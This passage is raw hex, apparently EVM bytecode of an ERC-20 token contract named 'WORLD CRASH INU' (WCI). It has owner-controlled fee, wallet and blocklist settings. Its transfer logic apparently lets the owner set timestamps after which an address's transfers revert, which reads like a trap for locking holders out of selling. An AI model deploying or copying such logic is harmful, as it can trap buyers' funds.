00c189062001194565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000d01919062001058565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dc55780860481111562000d9d5762000d9c62000d37565b5b600185161562000dad5780820291505b808102905062000dbd8562000d66565b945062000d7d565b94509492505050565b60008262000de0576001905062000eb3565b8162000df0576000905062000eb3565b816001811462000e09576002811462000e145762000e4a565b600191505062000eb3565b60ff84111562000e295762000e2862000d37565b5b8360020a91508482111562000e435762000e4262000d37565b5b5062000eb3565b5060208310610133831016604e8410600b841016171562000e845782820a90508381111562000e7e5762000e7d62000d37565b5b62000eb3565b62000e93848484600162000d73565b9250905081840481111562000ead5762000eac62000d37565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ede8262000eba565b915062000eeb8362000ec4565b925062000f1a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dce565b905092915050565b600062000f2f8262000eba565b915062000f3c8362000eba565b925082820262000f4c8162000eba565b9150828204841483151762000f665762000f6562000d37565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f9f8262000f72565b9050919050565b62000fb18162000f92565b811462000fbd57600080fd5b50565b60008151905062000fd18162000fa6565b92915050565b60006020828403121562000ff05762000fef62000f6d565b5b6000620010008482850162000fc0565b91505092915050565b620010148162000f92565b82525050565b600060408201905062001031600083018562001009565b62001040602083018462001009565b9392505050565b620010528162000eba565b82525050565b60006020820190506200106f600083018462001047565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620010e460248362001075565b9150620010f18262001086565b604082019050919050565b600060208201905081810360008301526200111781620010d5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200117c60228362001075565b915062001189826200111e565b604082019050919050565b60006020820190508181036000830152620011af816200116d565b9050919050565b614ae280620011c66000396000f3fe60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b146108bc578063f837ae07146108e5578063f887ea401461090e578063f8b45b0514610939578063f9d0ee941461096457610246565b8063cfe9dde0146107db578063d14aae6614610804578063dd62ed3e1461082d578063e27e65881461086a578063e4b994091461089357610246565b8063a9059cbb116100f2578063a9059cbb146106df578063b72a47341461071c578063ca1c81ae14610745578063cc1776d314610782578063cdcfa74a146107b057610246565b80638da5cb5b146105f8578063921cacef1461062357806395d89b411461064c578063a457c2d714610677578063a8aa1b31146106b457610246565b80634f7041a5116101bc57806370d8da531161018057806370d8da5314610527578063715018a614610550578063768dc710146105675780638305e2e3146105a45780638c0b5e22146105cd57610246565b80634f7041a51461044f578063610ec8231461047d578063698f6983146104aa5780636a49ccbb146104c157806370a08231146104ea57610246565b806323b872dd1161020357806323b872dd1461034457806328c61f4114610381578063313ce567146103be57806339509351146103e95780634ba422bc1461042657610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cdd3be3146102de5780631e17989e1461031b57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610992565b60405161026d91906134b5565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061357f565b6109cf565b6040516102aa91906135da565b60405180910390f35b3480156102bf57600080fd5b506102c86109ed565b6040516102d59190613604565b60405180910390f35b3480156102ea57600080fd5b506103056004803603810190610300919061361f565b6109f7565b60405161031291906135da565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190613678565b610a17565b005b34801561035057600080fd5b5061036b600480360381019061036691906136b8565b610aee565b60405161037891906135da565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061361f565b610ba6565b6040516103b591906135da565b60405180910390f35b3480156103ca57600080fd5b506103d3610bc6565b6040516103e09190613727565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b919061357f565b610bcf565b60405161041d91906135da565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613742565b610c7b565b005b34801561045b57600080fd5b50610464610dc1565b6040516104749493929190613782565b60405180910390f35b34801561048957600080fd5b50610492610e13565b6040516104a1939291906137d6565b60405180910390f35b3480156104b657600080fd5b506104bf610e8c565b005b3480156104cd57600080fd5b506104e860048036038101906104e39190613839565b610f1e565b005b3480156104f657600080fd5b50610511600480360381019061050c919061361f565b6110f0565b60405161051e9190613604565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190613742565b611139565b005b34801561055c57600080fd5b506105656111df565b005b34801561057357600080fd5b5061058e6004803603810190610589919061361f565b611267565b60405161059b91906135da565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c691906138a0565b611287565b005b3480156105d957600080fd5b506105e2611390565b6040516105ef9190613604565b60405180910390f35b34801561060457600080fd5b5061060d611396565b60405161061a91906138cd565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906138e8565b6113bf565b005b34801561065857600080fd5b50610661611503565b60405161066e91906134b5565b60405180910390f35b34801561068357600080fd5b5061069e6004803603810190610699919061357f565b611540565b6040516106ab91906135da565b60405180910390f35b3480156106c057600080fd5b506106c96115ec565b6040516106d691906138cd565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061357f565b611612565b60405161071391906135da565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190613678565b611630565b005b34801561075157600080fd5b5061076c6004803603810190610767919061361f565b611707565b6040516107799190613604565b60405180910390f35b34801561078e57600080fd5b5061079761171f565b6040516107a79493929190613782565b60405180910390f35b3480156107bc57600080fd5b506107c5611771565b6040516107d29190613604565b60405180910390f35b3480156107e757600080fd5b5061080260048036038101906107fd9190613a83565b611777565b005b34801561081057600080fd5b5061082b60048036038101906108269190613839565b611888565b005b34801561083957600080fd5b50610854600480360381019061084f9190613adf565b611a5a565b6040516108619190613604565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c919061357f565b611ae1565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190613b1f565b611bb0565b005b3480156108c857600080fd5b506108e360048036038101906108de919061361f565b611cc8565b005b3480156108f157600080fd5b5061090c60048036038101906109079190613678565b611dbf565b005b34801561091a57600080fd5b50610923611e96565b6040516109309190613be5565b60405180910390f35b34801561094557600080fd5b5061094e611ebc565b60405161095b9190613604565b60405180910390f35b34801561097057600080fd5b50610979611ec2565b6040516109899493929190613c00565b60405180910390f35b60606040518060400160405280600f81526020017f574f524c4420435241534820494e550000000000000000000000000000000000815250905090565b60006109e36109dc611ee0565b8484611ee8565b6001905092915050565b6000600c54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b610a1f611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610a3d611396565b73ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90613c91565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610afb8484846120b1565b610b9b84610b07611ee0565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b51611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b969190613ce0565b611ee8565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c71610bdc611ee0565b848460046000610bea611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6c9190613d14565b611ee8565b6001905092915050565b610c83611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610ca1611396565b73ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90613c91565b60405180910390fd5b60006009600a610d079190613e7b565b6103e86005600c54610d199190613ec6565b610d239190613f37565b610d2d9190613f37565b9050808310158015610d3f5750808210155b610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613fb4565b60405180910390fd5b6009600a610d8c9190613e7b565b83610d979190613ec6565b600e819055506009600a610dab9190613e7b565b82610db69190613ec6565b600f81905550505050565b60148060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b6000806000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925092509250909192565b610e94611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610eb2611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613c91565b60405180910390fd5b600a5442610f169190613d14565b600981905550565b610f26611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610f44611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190613c91565b60405180910390fd5b600081838587610faa9190613fd4565b610fb49190613fd4565b610fbe9190613fd4565b60ff1690506014811115611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611141611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661115f611396565b73ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90613c91565b60405180910390fd5b6009600a6111c39190613e7b565b826111ce9190613ec6565b600d81905550806019819055505050565b6111e7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611205611396565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290613c91565b60405180910390fd5b6112656000612891565b565b60056020528060005260406000206000915054906101000a900460ff1681565b61128f611ee0565b73ffffffffffffffffffffffffffffffffffffffff166112ad611396565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c91565b60405180910390fd5b80471015611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d906140c1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561138c573d6000803e3d6000fd5b5050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6113c7611ee0565b73ffffffffffffffffffffffffffffffffffffffff166113e5611396565b73ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290613c91565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60606040518060400160405280600381526020017f5743490000000000000000000000000000000000000000000000000000000000815250905090565b60006115e261154d611ee0565b84846004600061155b611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115dd9190613ce0565b611ee8565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061162661161f611ee0565b84846120b1565b6001905092915050565b611638611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611656611396565b73ffffffffffffffffffffffffffffffffffffffff16146116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613c91565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60086020528060005260406000206000915090505481565b60158060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b60095481565b61177f611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661179d611396565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613c91565b60405180910390fd5b60005b8251811015611883578160076000858481518110611817576118166140e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061187b90614110565b9150506117f6565b505050565b611890611ee0565b73ffffffffffffffffffffffffffffffffffffffff166118ae611396565b73ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb90613c91565b60405180910390fd5b6000818385876119149190613fd4565b61191e9190613fd4565b6119289190613fd4565b60ff169050601e811115611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ae9611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611b07611396565b73ffffffffffffffffffffffffffffffffffffffff1614611b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5490613c91565b60405180910390fd5b8042611b699190613d14565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611bb8611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611bd6611396565b73ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613c91565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a611c569190614158565b85611c619190613ec6565b6040518363ffffffff1660e01b8152600401611c7e9291906141a3565b6020604051808303816000875af1158015611c9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc191906141e1565b5050505050565b611cd0611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611cee611396565b73ffffffffffffffffffffffffffffffffffffffff1614611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90613c91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90614280565b60405180910390fd5b611dbc81612891565b50565b611dc7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611de5611396565b73ffffffffffffffffffffffffffffffffffffffff1614611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613c91565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154908060020154908060030154905084565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90614312565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906143a4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120a49190613604565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790614436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906144c8565b60405180910390fd5b600081116121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c99061455a565b60405180910390fd5b600e548111158061222c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906145ec565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561230f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61234e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234590614658565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123f857600f54816123ac846110f0565b6123b69190613d14565b11156123f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ee906146ea565b60405180910390fd5b5b600d54612404306110f0565b101580156124215750601954601a5461241d9190613d14565b4210155b801561243a5750601860149054906101000a900460ff16155b80156124945750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124d357506124a3611396565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561251257506124e2611396565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125205761251f612955565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461256f9190613ce0565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561261f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d05761267f8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612c49565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126e057504260095410155b1561273b57600b54426126f39190613d14565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cf565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146127ce57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442106127cd57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281f9190613d14565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128839190613604565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601860146101000a81548160ff021916908315150217905550600060106002015460106001015460106000015461298e9190613d14565b6129989190613d14565b90506000811115612b8f5760006129ae82612f83565b9050600082601060000154836129c49190613ec6565b6129ce9190613f37565b9050600083601060010154846129e49190613ec6565b6129ee9190613f37565b905060008460106002015485612a049190613ec6565b612a0e9190613f37565b90506000831115612a8e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612a81573d6000803e3d6000fd5b5060006010600001819055505b6000821115612b0c57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aff573d6000803e3d6000fd5b5060006010600101819055505b6000811115612b8a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b7d573d6000803e3d6000fd5b5060006010600201819055505b505050505b60006010600301541115612bf85760006002601060030154612bb19190613f37565b9050600081601060030154612bc69190613ce0565b90506000612bd383612f83565b90506000811115612be957612be882826131dd565b5b60006010600301819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142601a81905550506000601860146101000a81548160ff021916908315150217905550565b60008060146040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090508215612d595760156040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612d709190613ec6565b612d7a9190613f37565b905060006064836020015160ff1688612d939190613ec6565b612d9d9190613f37565b905060006064846040015160ff1689612db69190613ec6565b612dc09190613f37565b905060006064856060015160ff168a612dd99190613ec6565b612de39190613f37565b90506000841115612e0b578360106000016000828254612e039190613d14565b925050819055505b6000831115612e31578260106001016000828254612e299190613d14565b925050819055505b6000821115612e57578160106002016000828254612e4f9190613d14565b925050819055505b6000811115612e7d578060106003016000828254612e759190613d14565b925050819055505b600081838587612e8d9190613d14565b612e979190613d14565b612ea19190613d14565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ef29190613d14565b925050819055506000811115612f68573073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f5f9190613604565b60405180910390a35b808a612f749190613ce0565b96505050505050509392505050565b6000804790506000600267ffffffffffffffff811115612fa657612fa5613940565b5b604051908082528060200260200182016040528015612fd45781602001602082028036833780820191505090505b5090503081600081518110612fec57612feb6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b7919061471f565b816001815181106130cb576130ca6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061313230600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401613196959493929190614845565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b5050505081476131d49190613ce0565b92505050919050565b61320a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ee8565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080613258611396565b426040518863ffffffff1660e01b815260040161327a9695949392919061489f565b60606040518083038185885af1158015613298573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132bd9190614915565b50915050600081836132cf9190613ce0565b111561332c5761332b81836132e49190613ce0565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661333190919063ffffffff16565b5b505050565b80471015613374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336b906149b4565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161339a90614a05565b60006040518083038185875af1925050503d80600081146133d7576040519150601f19603f3d011682016040523d82523d6000602084013e6133dc565b606091505b5050905080613420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161341790614a8c565b60405180910390fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561345f578082015181840152602081019050613444565b60008484015250505050565b6000601f19601f8301169050919050565b600061348782613425565b6134918185613430565b93506134a1818560208601613441565b6134aa8161346b565b840191505092915050565b600060208201905081810360008301526134cf818461347c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613516826134eb565b9050919050565b6135268161350b565b811461353157600080fd5b50565b6000813590506135438161351d565b92915050565b6000819050919050565b61355c81613549565b811461356757600080fd5b50565b60008135905061357981613553565b92915050565b60008060408385031215613596576135956134e1565b5b60006135a485828601613534565b92505060206135b58582860161356a565b9150509250929050565b60008115159050919050565b6135d4816135bf565b82525050565b60006020820190506135ef60008301846135cb565b92915050565b6135fe81613549565b82525050565b600060208201905061361960008301846135f5565b92915050565b600060208284031215613635576136346134e1565b5b600061364384828501613534565b91505092915050565b613655816135bf565b811461366057600080fd5b50565b6000813590506136728161364c565b92915050565b6000806040838503121561368f5761368e6134e1565b5b600061369d85828601613534565b92505060206136ae85828601613663565b9150509250929050565b6000806000606084860312156136d1576136d06134e1565b5b60006136df86828701613534565b93505060206136f086828701613534565b92505060406137018682870161356a565b9150509250925092565b600060ff82169050919050565b6137218161370b565b82525050565b600060208201905061373c6000830184613718565b92915050565b60008060408385031215613759576137586134e1565b5b60006137678582860161356a565b92505060206137788582860161356a565b9150509250929050565b60006080820190506137976000830187613718565b6137a46020830186613718565b6137b16040830185613718565b6137be6060830184613718565b95945050505050565b6137d08161350b565b82525050565b60006060820190506137eb60008301866137c7565b6137f860208301856137c7565b61380560408301846137c7565b949350505050565b6138168161370b565b811461382157600080fd5b50565b6000813590506138338161380d565b92915050565b60008060008060808587031215613853576138526134e1565b5b600061386187828801613824565b945050602061387287828801613824565b935050604061388387828801613824565b925050606061389487828801613824565b91505092959194509250565b6000602082840312156138b6576138b56134e1565b5b60006138c48482850161356a565b91505092915050565b60006020820190506138e260008301846137c7565b92915050565b600080600060608486031215613901576139006134e1565b5b600061390f86828701613534565b935050602061392086828701613534565b925050604061393186828701613534565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6139788261346b565b810181811067ffffffffffffffff8211171561399757613996613940565b5b80604052505050565b60006139aa6134d7565b90506139b6828261396f565b919050565b600067ffffffffffffffff8211156139d6576139d5613940565b5b602082029050602081019050919050565b600080fd5b60006139ff6139fa846139bb565b6139a0565b90508083825260208201905060208402830185811115613a2257613a216139e7565b5b835b81811015613a4b5780613a378882613534565b845260208401935050602081019050613a24565b5050509392505050565b600082601f830112613a6a57613a6961393b565b5b8135613a7a8482602086016139ec565b91505092915050565b60008060408385031215613a9a57613a996134e1565b5b600083013567ffffffffffffffff811115613ab857613ab76134e6565b5b613ac485828601613a55565b9250506020613ad585828601613663565b9150509250929050565b60008060408385031215613af657613af56134e1565b5b6000613b0485828601613534565b9250506020613b1585828601613534565b9150509250929050565b60008060008060808587031215613b3957613b386134e1565b5b6000613b4787828801613534565b9450506020613b5887828801613534565b9350506040613b698782880161356a565b9250506060613b7a